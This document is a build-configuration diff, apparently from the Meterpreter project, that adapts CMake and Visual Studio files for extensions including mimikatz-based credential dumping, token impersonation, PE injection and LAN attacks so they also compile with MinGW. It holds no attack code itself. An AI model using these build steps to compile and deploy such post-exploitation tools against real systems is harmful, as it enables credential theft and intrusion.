<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries> <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@ -212,7 +212,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories> <AdditionalLibraryDirectories>
</AdditionalLibraryDirectories> </AdditionalLibraryDirectories>
<DelayLoadDLLs> <DelayLoadDLLs>
@ -267,7 +267,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories> <AdditionalLibraryDirectories>
</AdditionalLibraryDirectories> </AdditionalLibraryDirectories>
<DelayLoadDLLs> <DelayLoadDLLs>
@ -338,4 +338,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -10,10 +10,12 @@ add_definitions(
-D_UNICODE -D_UNICODE
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/incognito) set(SRC_DIR ../../source/extensions/incognito)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -22,8 +24,10 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS netapi32 mpr) set(LINK_LIBS netapi32 mpr)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -326,4 +326,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -5,16 +5,52 @@ project(${PROJECT_NAME} C)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt) include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
add_definitions( add_definitions(
-D_WINDLL
-D_USRDLL -D_USRDLL
-DUNICODE -DUNICODE
-D_UNICODE -D_UNICODE
-D_POWERKATZ -D_POWERKATZ
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
else()
add_definitions(
'-D_WIN32_WINNT=0x601'
'-D__deref=SAL__deref'
'-D__deref_opt_bcount=SAL__deref_opt_bcount'
'-D__deref_opt_out_bcount=SAL__deref_opt_out_bcount'
'-D__deref_opt_out_opt=SAL__deref_opt_out_opt'
'-D__deref_out=SAL__deref_out'
'-D__deref_out_bcount=SAL__deref_out_bcount'
'-D__deref_out_bcount_opt=SAL__deref_out_bcount_opt'
'-D__deref_out_bcount_full=SAL__deref_out_bcount_full'
'-D__deref_out_ecount_full=SAL__deref_out_ecount_full'
'-D__field_bcount=DISCARD'
'-D__field_ecount=DISCARD'
'-D__field_xcount=DISCARD'
'-D__in_bcount_opt=SAL__in_bcount_opt'
'-D__in_ecount_opt=SAL__in_ecount_opt'
'-D__in_ecount_opt=SAL__in_ecount_opt'
'-D__format_string=SAL__format_string'
'-D__in_z='
'-D__inout_bcount_opt=SAL__inout_bcount_opt'
'-D__inout_bcount_part_opt=SAL__inout_bcount_part_opt'
'-D__out_bcount_full_opt=SAL__out_bcount_full_opt'
'-D__out_bcount_opt=SAL__out_bcount_opt'
'-D__out_bcount_part_opt=SAL__out_bcount_part_opt'
'-D__out_ecount_opt=SAL__out_ecount_opt'
'-D__out_xcount_opt=SAL__out_bcount_opt'
'-D__range=DISCARD2'
'-D__reserved=SAL__reserved'
'-D__success=DISCARD'
'-D__FUNCTION__=""'
'-D__struct_bcount=DISCARD'
)
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
include_directories(../../source/extensions/kiwi/mimikatz/inc) include_directories(../../source/extensions/kiwi/mimikatz/inc)
set(SRC_DIR ../../source/extensions/kiwi) set(SRC_DIR ../../source/extensions/kiwi)
@ -43,8 +79,10 @@ list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/mimikatz/mimik
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
if(IS_X86) if(IS_X86)
set(KIWI_LIB_DIR ${WORKSPACE_ROOT_DIR}/../source/extensions/kiwi/mimikatz/lib/Win32) set(KIWI_LIB_DIR ${WORKSPACE_ROOT_DIR}/../source/extensions/kiwi/mimikatz/lib/Win32)
@ -53,26 +91,33 @@ else()
endif() endif()
set(LINK_LIBS set(LINK_LIBS
advapi32
psapi psapi
crypt32 crypt32
Shlwapi shlwapi
Secur32 secur32
Wtsapi32 wtsapi32
winscard winscard
wldap32 wldap32
Netapi32 netapi32
Rpcrt4 rpcrt4
SetupAPI setupapi
Userenv userenv
Cabinet cabinet
Dnsapi dnsapi
version version
msxml2
) )
if(MSVC)
set(LINK_LIBS
${LINK_LIBS}
msxml2
)
endif()
# Add all the custom libs that come with the mimikatz source # Add all the custom libs that come with the mimikatz source
set(LINK_LIBS set(LINK_LIBS
${LINK_LIBS} ${LINK_LIBS}
${KIWI_LIB_DIR}/advapi32.hash.lib
${KIWI_LIB_DIR}/cryptdll.lib ${KIWI_LIB_DIR}/cryptdll.lib
${KIWI_LIB_DIR}/fltlib.lib ${KIWI_LIB_DIR}/fltlib.lib
${KIWI_LIB_DIR}/hid.lib ${KIWI_LIB_DIR}/hid.lib
@ -82,6 +127,7 @@ set(LINK_LIBS
${KIWI_LIB_DIR}/ntdll.min.lib ${KIWI_LIB_DIR}/ntdll.min.lib
${KIWI_LIB_DIR}/samlib.lib ${KIWI_LIB_DIR}/samlib.lib
${KIWI_LIB_DIR}/winsta.lib ${KIWI_LIB_DIR}/winsta.lib
${KIWI_LIB_DIR}/advapi32.hash.lib
) )
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -558,4 +558,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_lanattacks) set(PROJECT_NAME ext_server_lanattacks)
project(${PROJECT_NAME} C) project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt) include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -10,11 +10,13 @@ add_definitions(
-D_UNICODE -D_UNICODE
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP") set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/lanattacks) set(SRC_DIR ../../source/extensions/lanattacks)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -24,12 +26,21 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
netapi32
mpr
ws2_32
)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
else()
endif() endif()
# Post processing (required for all Meterpreter DLLs) # Post processing (required for all Meterpreter DLLs)

View File

@ -296,4 +296,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -10,10 +10,12 @@ add_definitions(
-D_UNICODE -D_UNICODE
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/peinjector) set(SRC_DIR ../../source/extensions/peinjector)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -22,8 +24,10 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)

View File

@ -321,4 +321,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -320,4 +320,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -8,10 +8,12 @@ add_definitions(
-D_USRDLL -D_USRDLL
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/priv) set(SRC_DIR ../../source/extensions/priv)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -20,8 +22,10 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS psapi) set(LINK_LIBS psapi)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -381,4 +381,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -671,4 +671,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -202,4 +202,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_stdapi) set(PROJECT_NAME ext_server_stdapi)
project(${PROJECT_NAME} C) project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt) include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -11,12 +11,16 @@ add_definitions(
-D_CRT_SECURE_NO_WARNINGS -D_CRT_SECURE_NO_WARNINGS
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP") set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
else()
include_directories(../../source/mingw-include)
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/jpeg-8) include_directories(../../source/jpeg-8)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
include_directories(../../source/extensions/stdapi/server) include_directories(../../source/extensions/stdapi/server)
set(SRC_DIR ../../source/extensions/stdapi) set(SRC_DIR ../../source/extensions/stdapi)
@ -31,8 +35,10 @@ list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/server/resourc
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS set(LINK_LIBS
jpeg jpeg
@ -43,13 +49,15 @@ set(LINK_LIBS
iphlpapi iphlpapi
shlwapi shlwapi
ws2_32 ws2_32
strmiids
) )
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070") target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
endif() endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
# Post processing (required for all Meterpreter DLLs) # Post processing (required for all Meterpreter DLLs)
editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM}) editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM})
copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR}) copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR})

View File

@ -120,7 +120,7 @@
<Culture>0x0409</Culture> <Culture>0x0409</Culture>
</ResourceCompile> </ResourceCompile>
<Link> <Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs> <DelayLoadDLLs>
@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Culture>0x0409</Culture> <Culture>0x0409</Culture>
</ResourceCompile> </ResourceCompile>
<Link> <Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs> <DelayLoadDLLs>
@ -253,7 +253,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Culture>0x0409</Culture> <Culture>0x0409</Culture>
</ResourceCompile> </ResourceCompile>
<Link> <Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs> <DelayLoadDLLs>
@ -319,7 +319,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Culture>0x0409</Culture> <Culture>0x0409</Culture>
</ResourceCompile> </ResourceCompile>
<Link> <Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs> <DelayLoadDLLs>
@ -431,4 +431,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -8,10 +8,12 @@ add_definitions(
-D_USRDLL -D_USRDLL
) )
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/unhook) set(SRC_DIR ../../source/extensions/unhook)
file(GLOB SRC_FILES file(GLOB SRC_FILES
@ -20,8 +22,10 @@ file(GLOB SRC_FILES
) )
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE) set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS}) target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC) if(MSVC)

View File

@ -312,4 +312,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_winpmem) set(PROJECT_NAME ext_server_winpmem)
project(${PROJECT_NAME} C) project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt) include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -10,21 +10,38 @@ add_definitions(
-D_UNICODE -D_UNICODE
) )
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP") if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
endif()
include_directories(../../source/common) include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common) include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/winpmem) set(SRC_DIR ../../source/extensions/winpmem)
file(GLOB SRC_FILES file(GLOB SRC_FILES
${SRC_DIR}/*.cpp ${SRC_DIR}/*.cpp
${SRC_DIR}/*.rc
${MOD_DEF_DIR}/extension.def ${MOD_DEF_DIR}/extension.def
) )
if(MSVC)
set(SRC_FILES ${SRC_FILES} ${SRC_DIR}/winpmem.rc)
else()
set(SRC_FILES ${SRC_FILES} ${SRC_DIR}/winpmem-mingw.rc)
endif()
add_library(${PROJECT_NAME} SHARED ${SRC_FILES}) add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH}) set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"") if(MSVC)
